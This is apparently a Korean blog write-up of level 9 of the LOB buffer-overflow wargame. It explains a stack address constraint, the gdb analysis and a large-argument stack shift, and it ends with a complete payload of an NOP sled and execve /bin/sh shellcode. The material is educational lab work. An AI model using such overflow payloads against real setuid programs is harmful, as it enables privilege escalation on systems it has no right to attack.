ii4gsp

LOB - Level9 [troll -> vampire] 본문

시스템 해킹/LOB

LOB - Level9 [troll -> vampire]

ii4gsp 2020. 1. 16. 11:16

47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다.

ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다.

 

 

 

 

파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자

 

 

 

 

strcpy() 함수가 호출되고 바로 다음 명령인 <main+137> 부분에 break point를 걸어주자

 

 

 

 

 

스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다.

\xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다.

 

 

 

 

주소가 0xbffe로 시작한다.

아무 주소나 ret로 잡고 페이로드를 작성하면 된다.

 

 

 

 

payload

./vampire $(python -c 'print "\x90" * 44 + "\xe8\x75\xfe\xbf"') $(python -c 'print "\x90" * 100000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level11 [skeleton -> golem]  (0) 2020.01.19
LOB - Level10 [vampire -> skeleton]  (0) 2020.01.18
LOB - Level8 [orge -> troll]  (0) 2020.01.16
LOB - Level7 [darkelf -> orge]  (0) 2020.01.15
LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
Comments